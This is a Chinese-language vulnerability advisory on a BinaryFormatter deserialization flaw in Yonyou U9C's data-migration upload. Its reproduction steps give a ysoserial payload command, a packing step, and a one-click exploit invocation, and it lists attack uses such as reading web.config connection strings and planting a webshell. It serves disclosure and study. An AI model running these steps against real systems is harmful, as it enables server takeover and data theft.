本文档由 AI 辅助归档,内容整理自先知社区文章与 360 漏洞研究院通告。
漏洞概述
| 项目 | 内容 |
|---|---|
| 漏洞编号 | LDYVUL-2026-00173733 |
| 影响组件 | 用友 U9C(U9 Cloud)门户侧「数据迁移」功能 |
| 漏洞类型 | .NET BinaryFormatter 反序列化 → RCE(CWE-502) |
| 公开时间 | 2026-08-11 |
| CVSS 3.1 | 7.2(High)AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H |
| 前置条件 | 需「数据迁移」权限的管理员会话(ea),非未授权 |
| 在野利用 | 未发现 |
| 官方补丁 | https://security.yonyou.com/#/noticeInfo?id=793 |
影响版本
- U9C 企业版
- U9C 标准版
- U9V6.6 企业版
- U9V6.6 标准版
漏洞分析
U9C 门户侧 UFSoft.UBF.MVC.dll 中的 IoPackage.DecompressPackage(byte[]) 方法将外部上传的 .bin 文件解压后直接交给 BinaryFormatter.Deserialize(),且未设置 SerializationBinder 白名单,攻击者可通过 gadget 对象图实现 RCE。
csharp
static IoPackage DecompressPackage(byte[] bytes)
{
BinaryFormatter formatter = new BinaryFormatter(); // 未设置 Binder
byte[] decompressed = Decompress(bytes); // SharpZipLib ZIP 解包
MemoryStream stream = new MemoryStream(decompressed);
return (IoPackage)formatter.Deserialize(stream); // 无限制反序列化
}BinaryFormatter 按数据中的「类型全名」加载并实例化类型,SerializationBinder 是唯一可拦截「类型名 → Type」的钩子;未设置即等价于允许加载任意类型。
触发链
text
POST /mvc/DataTransfer/Upload (multipart evil.bin,文件名 .bin)
→ 存 {FileTempPath}\PackageImport\{guid}.bin,返回 PackageUploadId
POST /mvc/DataTransfer/ImportPackage (PackageUploadId + DataManagerProjectId)
→ 读 .bin → IoPackage.DecompressPackage(bytes)
→ Decompress(SharpZipLib ZIP 解包)→ BinaryFormatter.Deserialize(无 Binder)
→ 加载 gadget 类型 → 反序列化回调 → Process.Start ★ RCEGadget 原理
利用 WPF 的 ObjectDataProvider(ObjectType=System.Diagnostics.Process、MethodName="Start"、MethodParameters=["cmd","/c <命令>"]),反序列化求值时反射调用 Process.Start。
数据流
text
攻击者 .bin = ZIP(单 entry) 包裹 BinaryFormatter 流
BinaryFormatter 流 = gadget 对象图(TextFormattingRunProperties → ObjectDataProvider)复现步骤
工具:ysoserial.net、MakeBin.exe、U9Exp.exe(见原文附录)
- 生成恶意载荷(ysoserial):
bash
ysoserial.exe -f BinaryFormatter -g TextFormattingRunProperties -c "cmd /c whoami > C:\temp\pwned.txt" -o raw > payload.raw- 打包成
.bin(ZIP 单 entry):
text
MakeBin.exe payload.raw evil.bin- 以
ea管理员登录后上传并触发(一键):
text
Exp.exe --cmd "cmd /c whoami > C:\temp\pwned.txt" --url http://<target>/U9C --user EA --pwd <密码>- 验证:目标机
C:\temp\pwned.txt内容为iis apppool\u9 apppool clr4即 RCE 成功。
攻击场景(原文已实测)
- 命令执行:
whoami回显 IIS 应用池身份 - 敏感数据窃取:
type web.config泄露多组数据库明文连接串 - 持久化:web 根可写,落 WebShell(cmd.aspx)建立 HTTP 命令通道
相关笔记
WARNING
本文仅供安全研究与学习参考,涉及技术细节请遵守当地法律法规,勿用于未授权测试。